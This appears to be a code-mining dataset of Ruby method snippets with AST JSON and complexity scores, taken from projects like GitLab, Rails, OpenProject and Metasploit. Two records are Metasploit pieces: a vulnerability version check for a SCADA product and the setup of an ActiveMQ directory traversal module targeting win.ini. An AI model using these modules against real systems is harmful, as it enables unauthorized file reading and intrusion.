{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/database/migration_helpers/restrict_gitlab_schema_spec.rb","start_line":304,"raw_source":"def up\n              detached_partitions_class.create!(drop_after: Time.current, table_name: '_test_table')\n            end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"detached_partitions_class\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"drop_after\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"table_name\"]},{\"type\":\"str\",\"children\":[\"_test_table\"]}]}]}]}]}","id":"02495c53-9c5c-4830-9823-86473fb2ff19"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/costs/app/controllers/projects/settings/time_entry_activities_controller.rb","start_line":43,"raw_source":"def update_params\n    permitted_params.time_entry_activities_project.map do |attributes|\n      { project_id: @project.id, active: false }.with_indifferent_access.merge(attributes.to_h)\n    end\n  end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"update_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"permitted_params\"]},\"time_entry_activities_project\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attributes\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"active\"]},{\"type\":\"false\",\"children\":[]}]}]},\"with_indifferent_access\"]},\"merge\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"to_h\"]}]}]}]}","id":"9137bd69-2cd8-4f6f-b45b-7cd5bfc3c06b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/scada/mypro_cmdexe.rb","start_line":64,"raw_source":"def check\n    begin\n      res = send_request_cgi({\n        'method' => 'POST',\n        'uri' => normalize_uri(target_uri.path, 'l.fcgi'),\n        'vars_post' => {\n          't' => '98'\n        }\n      })\n    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError\n      return CheckCode::Unknown\n    end\n\n    if res && res.code == 200\n      data = res.get_json_document\n      version = data['V']\n      if version.nil?\n        return CheckCode::Unknown\n      else\n        vprint_status('Version retrieved: ' + version)\n      end\n\n      if Rex::Version.new(version) <= Rex::Version.new('8.28')\n        return CheckCode::Appears\n      else\n        return CheckCode::Safe\n      end\n    else\n      return CheckCode::Unknown\n    end\n  end","complexity_score":27.63,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"l.fcgi\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"t\"]},{\"type\":\"str\",\"children\":[\"98\"]}]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionRefused\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"HostUnreachable\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionTimeout\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionError\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\"]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_json_document\"]}]},{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\"]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"Version retrieved: \"]},\"+\",{\"type\":\"lvar\",\"children\":[\"version\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"version\"]}]},\"<=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"8.28\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Appears\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\"]}]}]}]}]}","id":"45135be9-e0c7-4f53-9d4a-8ace29a9585d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/cycle_analytics_helpers.rb","start_line":86,"raw_source":"def wait_for_stages_to_load(selector = '[data-testid=\"vsa-path-navigation\"]')\n    expect(page).to have_selector selector\n    wait_for_requests\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"wait_for_stages_to_load\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"selector\",{\"type\":\"str\",\"children\":[\"[data-testid=\\\"vsa-path-navigation\\\"]\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_selector\",{\"type\":\"lvar\",\"children\":[\"selector\"]}]}]},{\"type\":\"send\",\"children\":[null,\"wait_for_requests\"]}]}]}","id":"2c70fdab-ec18-49b0-b21a-eedbd5de12e5"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/rails3.rb","start_line":27,"raw_source":"def test_no_errors\n    assert_equal 0, report[:errors].length\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_no_errors\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"report\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"errors\"]}]},\"length\"]}]}]}","id":"afb720ce-f3a8-443f-b90e-5f7273ee0d35"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/database/partitioning/detached_partition_dropper_spec.rb","start_line":12,"raw_source":"def expect_partition_present(name)\n    aggregate_failures do\n      expect(table_oid(name)).not_to be_nil\n      expect(Postgresql::DetachedPartition.find_by(table_name: name)).not_to be_nil\n    end\n  end","complexity_score":13.2,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_partition_present\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"aggregate_failures\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"table_oid\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},\"not_to\",{\"type\":\"send\",\"children\":[null,\"be_nil\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Postgresql\"]},\"DetachedPartition\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"table_name\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}]},\"not_to\",{\"type\":\"send\",\"children\":[null,\"be_nil\"]}]}]}]}]}","id":"f613dc55-5671-4505-9a35-9058764cb351"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/example.rb","start_line":238,"raw_source":"def skipped?\n        !!skip\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"skipped?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip\"]},\"!\"]},\"!\"]}]}","id":"32f89306-2ba0-40b6-bdd7-966038bc8b40"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/appsignal_api.rb","start_line":30,"raw_source":"def self.included(base)\n      base.class_eval do\n        if OpenProject::Appsignal.enabled?\n          require \"appsignal/rack/grape_middleware\"\n          insert_before Grape::Middleware::Error, Appsignal::Rack::GrapeMiddleware\n        end\n      end\n    end","complexity_score":10.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"included\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"class_eval\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"Appsignal\"]},\"enabled?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"appsignal/rack/grape_middleware\"]}]},{\"type\":\"send\",\"children\":[null,\"insert_before\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Grape\"]},\"Middleware\"]},\"Error\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Appsignal\"]},\"Rack\"]},\"GrapeMiddleware\"]}]}]},null]}]}]}","id":"97e6f07a-5bca-42ce-b7a0-c115d4c2ad24"}
{"repo_name":"sidekiq","file_path":"./repos/sidekiq/lib/sidekiq/job/iterable.rb","start_line":26,"raw_source":"def initialize\n        super\n\n        @_executions = 0\n        @_cursor = nil\n        @_start_time = nil\n        @_runtime = 0\n        @_args = nil\n        @_cancelled = nil\n        @current_object = nil\n      end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@_executions\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"ivasgn\",\"children\":[\"@_cursor\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@_start_time\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@_runtime\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"ivasgn\",\"children\":[\"@_args\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@_cancelled\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@current_object\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"c1f739cb-5d63-4cb5-8a27-07f7067c3e68"}
{"repo_name":"reek","file_path":"./repos/reek/lib/reek/smell_detectors/uncommunicative_variable_name.rb","start_line":105,"raw_source":"def find_block_argument_variable_names(accumulator)\n        arg_search_exp = case expression.type\n                         when :class, :module\n                           expression\n                         when :defs, :def\n                           expression.body\n                         end\n\n        return unless arg_search_exp\n\n        args_nodes = arg_search_exp.each_node(:args, [:class, :module, :defs, :def])\n\n        args_nodes.each do |args_node|\n          recursively_record_variable_names(accumulator, args_node)\n        end\n      end","complexity_score":16.3,"ast_json":"{\"type\":\"def\",\"children\":[\"find_block_argument_variable_names\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"accumulator\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"arg_search_exp\",{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expression\"]},\"type\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"sym\",\"children\":[\"module\"]},{\"type\":\"send\",\"children\":[null,\"expression\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"defs\"]},{\"type\":\"sym\",\"children\":[\"def\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expression\"]},\"body\"]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg_search_exp\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"args_nodes\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg_search_exp\"]},\"each_node\",{\"type\":\"sym\",\"children\":[\"args\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"sym\",\"children\":[\"module\"]},{\"type\":\"sym\",\"children\":[\"defs\"]},{\"type\":\"sym\",\"children\":[\"def\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args_nodes\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args_node\"]}]},{\"type\":\"send\",\"children\":[null,\"recursively_record_variable_names\",{\"type\":\"lvar\",\"children\":[\"accumulator\"]},{\"type\":\"lvar\",\"children\":[\"args_node\"]}]}]}]}]}","id":"f2970ec1-0772-4da7-8d4f-240299b5c761"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/db/migrate/20230201012734_create_chat_threading_models.rb","start_line":4,"raw_source":"def change\n    create_table :chat_threads do |t|\n      t.bigint :channel_id, null: false\n      t.bigint :original_message_id, null: false\n      t.bigint :original_message_user_id, null: false\n      t.integer :status, null: false, default: 0\n      t.string :title, null: true\n\n      t.timestamps\n    end\n\n    add_index :chat_threads, :channel_id\n    add_index :chat_threads, :original_message_id\n    add_index :chat_threads, :original_message_user_id\n    add_index :chat_threads, :status\n    add_index :chat_threads, %i[channel_id status]\n\n    add_column :chat_messages, :thread_id, :bigint, null: true\n    add_index :chat_messages, :thread_id\n  end","complexity_score":16.2,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"chat_threads\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"channel_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"original_message_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"original_message_user_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"chat_threads\"]},{\"type\":\"sym\",\"children\":[\"channel_id\"]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"chat_threads\"]},{\"type\":\"sym\",\"children\":[\"original_message_id\"]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"chat_threads\"]},{\"type\":\"sym\",\"children\":[\"original_message_user_id\"]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"chat_threads\"]},{\"type\":\"sym\",\"children\":[\"status\"]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"chat_threads\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"channel_id\"]},{\"type\":\"sym\",\"children\":[\"status\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"chat_messages\"]},{\"type\":\"sym\",\"children\":[\"thread_id\"]},{\"type\":\"sym\",\"children\":[\"bigint\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"chat_messages\"]},{\"type\":\"sym\",\"children\":[\"thread_id\"]}]}]}]}","id":"4b4a339c-e735-458d-94ea-ae7163d295c0"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/core_ext/string/filters.rb","start_line":142,"raw_source":"def truncate_words(words_count, options = {})\n    sep = options[:separator] || /\\s+/\n    sep = Regexp.escape(sep.to_s) unless Regexp === sep\n    if self =~ /\\A((?>.+?#{sep}){#{words_count - 1}}.+?)#{sep}.*/m\n      $1 + (options[:omission] || \"...\")\n    else\n      dup\n    end\n  end","complexity_score":16.8,"ast_json":"{\"type\":\"def\",\"children\":[\"truncate_words\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"words_count\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sep\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"separator\"]}]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\s+\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"===\",{\"type\":\"lvar\",\"children\":[\"sep\"]}]},null,{\"type\":\"lvasgn\",\"children\":[\"sep\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"escape\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sep\"]},\"to_s\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A((?>.+?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sep\"]}]},{\"type\":\"str\",\"children\":[\"){\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"words_count\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"str\",\"children\":[\"}.+?)\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sep\"]}]},{\"type\":\"str\",\"children\":[\".*\"]},{\"type\":\"regopt\",\"children\":[\"m\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"nth_ref\",\"children\":[1]},\"+\",{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"omission\"]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"dup\"]}]}]}]}","id":"7eb54d6a-a56e-4be9-95e8-aa5866cf72d6"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/datepicker/work_package_datepicker.rb","start_line":170,"raw_source":"def expect_automatic_scheduling_mode\n      expect(container)\n        .to have_css('[data-test-selector=\"op-datepicker-modal--scheduling_automatic\"][data-qa-selected=\"true\"]')\n    end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_automatic_scheduling_mode\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"container\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"str\",\"children\":[\"[data-test-selector=\\\"op-datepicker-modal--scheduling_automatic\\\"][data-qa-selected=\\\"true\\\"]\"]}]}]}]}","id":"572fca34-88b3-4c32-b4e9-1e044fe720bd"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/promotion_rule.rb","start_line":21,"raw_source":"def eligible?(_promotable, _options = {})\n      raise 'eligible? should be implemented in a sub-class of Spree::PromotionRule'\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"eligible?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_promotable\"]},{\"type\":\"optarg\",\"children\":[\"_options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"eligible? should be implemented in a sub-class of Spree::PromotionRule\"]}]}]}","id":"548e503f-9ca2-47b4-8f62-10fc92c9ded3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/concerns/alert_management/alert_processing.rb","start_line":75,"raw_source":"def process_incident_issues\n      return if alert.issue_id || alert.resolved?\n\n      ::IncidentManagement::ProcessAlertWorkerV2.perform_async(alert.id)\n    end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"process_incident_issues\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"alert\"]},\"issue_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"alert\"]},\"resolved?\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"IncidentManagement\"]},\"ProcessAlertWorkerV2\"]},\"perform_async\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"alert\"]},\"id\"]}]}]}]}","id":"e6fcf7f9-f539-40d5-9ecc-0bd4fcebe3b8"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/apache_activemq_traversal.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Apache ActiveMQ Directory Traversal',\n        'Description' => %q{\n          This module exploits a directory traversal vulnerability in Apache ActiveMQ\n          5.3.1 and 5.3.2 on Windows systems. The vulnerability exists in the Jetty's\n          ResourceHandler installed with the affected versions. This module has been tested\n          successfully on ActiveMQ 5.3.1 and 5.3.2 over Windows 2003 SP2.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'AbdulAziz Hariri', # Vulnerability discovery\n          'juan vazquez' # Metasploit module\n        ],\n        'References' => [\n          [ 'CVE', '2010-1587' ],\n          [ 'OSVDB', '86401' ],\n          [ 'URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=895' ],\n          [ 'URL', 'https://issues.apache.org/jira/browse/amq-2788' ]\n        ],\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        Opt::RPORT(8161),\n        OptString.new('FILEPATH', [true, 'The name of the file to download', '/windows\\\\win.ini']),\n        OptInt.new('DEPTH', [false, 'Traversal depth if absolute is set to false', 4])\n      ]\n    )\n  end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Apache ActiveMQ Directory Traversal\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a directory traversal vulnerability in Apache ActiveMQ\\n\"]},{\"type\":\"str\",\"children\":[\"          5.3.1 and 5.3.2 on Windows systems. The vulnerability exists in the Jetty's\\n\"]},{\"type\":\"str\",\"children\":[\"          ResourceHandler installed with the affected versions. This module has been tested\\n\"]},{\"type\":\"str\",\"children\":[\"          successfully on ActiveMQ 5.3.1 and 5.3.2 over Windows 2003 SP2.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"AbdulAziz Hariri\"]},{\"type\":\"str\",\"children\":[\"juan 